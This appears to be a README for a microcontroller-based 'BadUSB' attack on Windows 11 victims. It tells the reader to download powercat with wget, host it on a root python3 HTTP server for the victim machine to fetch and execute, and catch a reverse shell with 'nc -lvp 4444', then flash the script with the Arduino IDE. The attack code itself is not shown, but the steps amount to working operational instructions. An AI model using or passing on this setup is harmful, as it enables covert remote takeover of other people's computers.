Note that this script has only been tested on Windows 11, I can't ensure this will work on previous or future versions of Windows. I won't make myself accountable for the damage this program could cause so, you're on your own. Think twice before doing something you could regret later.
Modify the files so that they adjust to your needs. You'll need to change the IP address, the port (if you'd like to change it) and I if your victim has Internet access I'd recommend you changing the URL for downloading the auxiliar script to this. That way you won't have to set up the HTTP server for the victim to download the script.
We require powercat and python3 for this step. We'll download powercat and then we will serve that folder for the Victim to download it and execute it.
Get it from this repo: wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
And then serve the folder where it's located, we can do that with sudo python3 -m http.server 80 (The 80 it's because of the port and yes, we need root priviledges).
To listen for an incoming connection we are going to use netcat, just with a single command we'll be listening on port 4444:
nc -lvp 4444
-l means listen, -v verbose and -p port
You just need to flash the script into the microcontroller using Arduino IDE and you're good to go.
Remember looking at the code before flashing it, check that every parameter is OK
